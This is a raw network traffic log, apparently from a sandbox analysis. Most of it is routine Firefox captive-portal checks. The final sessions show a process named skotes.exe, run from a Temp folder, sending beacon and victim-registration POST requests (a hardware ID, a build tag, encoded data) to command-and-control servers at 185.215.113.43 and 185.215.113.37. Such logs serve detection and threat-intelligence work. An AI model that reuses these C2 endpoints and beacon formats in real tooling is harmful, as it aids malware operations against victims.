Oct 24, 2024 04:03:51.057003021 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 23 Oct 2024 12:53:45 GMT Age: 47405 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 24, 2024 04:03:51.566183090 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 24, 2024 04:03:51.691021919 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 23 Oct 2024 12:53:45 GMT Age: 47406 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 24, 2024 04:03:51.931974888 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 24, 2024 04:03:52.057704926 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 23 Oct 2024 12:53:45 GMT Age: 47406 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 24, 2024 04:03:58.164345026 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 24, 2024 04:03:58.289633989 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 23 Oct 2024 12:53:45 GMT Age: 47413 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 24, 2024 04:04:05.406824112 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 24, 2024 04:04:05.532366991 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 23 Oct 2024 12:53:45 GMT Age: 47420 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.7	50117	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:03:20.999998093 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 04:03:21.603410959 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 35462 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 04:03:21.640954018 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 04:03:21.768354893 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 35462 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 04:03:22.155862093 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 04:03:22.282489061 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 35463 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 04:03:22.304038048 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 04:03:22.430358887 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 35463 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 04:03:22.805985928 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 04:03:22.935482025 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 35463 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 04:03:23.447263002 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 04:03:23.574268103 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 35464 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 04:03:24.073610067 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 04:03:24.199990988 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 35465 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 04:03:24.716830969 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 04:03:24.843540907 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 35465 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 04:03:26.617230892 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 04:03:26.743962049 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 35467 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 04:03:36.761286974 CEST	6	OUT	Data Raw: 00 Data Ascii:
Oct 24, 2024 04:03:37.273499012 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 04:03:37.399990082 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 35478 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 04:03:47.418638945 CEST	6	OUT	Data Raw: 00 Data Ascii:
Oct 24, 2024 04:03:50.779119015 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 04:03:50.906111956 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 35491 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 04:03:51.423429012 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 04:03:51.550520897 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 35492 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 04:03:51.790625095 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 04:03:51.917248964 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 35492 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 04:03:58.028932095 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 04:03:58.155827045 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 35499 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 04:04:05.276935101 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 04:04:05.403922081 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 35506 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.7	50125	185.215.113.43	80	8144	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:03:21.713751078 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 24, 2024 04:03:22.609220028 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 02:03:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.7	50126	185.215.113.37	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:03:22.063281059 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 24, 2024 04:03:22.997287989 CEST	203	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:03:22 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 04:03:23.025115967 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGCAFHCAKFBFIECAFIIJ Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 43 41 46 48 43 41 4b 46 42 46 49 45 43 41 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 39 37 42 32 36 39 44 32 41 36 45 32 33 37 31 35 34 33 35 31 30 0d 0a 2d 2d 2d 2d 2d 2d 42 47 43 41 46 48 43 41 4b 46 42 46 49 45 43 41 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 42 47 43 41 46 48 43 41 4b 46 42 46 49 45 43 41 46 49 49 4a 2d 2d 0d 0a Data Ascii: ------BGCAFHCAKFBFIECAFIIJContent-Disposition: form-data; name="hwid"B97B269D2A6E2371543510------BGCAFHCAKFBFIECAFIIJContent-Disposition: form-data; name="build"doma------BGCAFHCAKFBFIECAFIIJ--
Oct 24, 2024 04:03:23.311878920 CEST	210	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:03:23 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.7	50133	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:03:24.187441111 CEST	316	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 34 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A74B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Oct 24, 2024 04:03:25.105566978 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 02:03:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.7	50135	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:03:26.735333920 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.7	50136	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:03:28.460164070 CEST	316	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 34 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A74B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Oct 24, 2024 04:03:29.365065098 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 02:03:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.7	50137	185.215.113.37	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:03:28.748585939 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 24, 2024 04:03:29.651731968 CEST	203	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:03:29 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
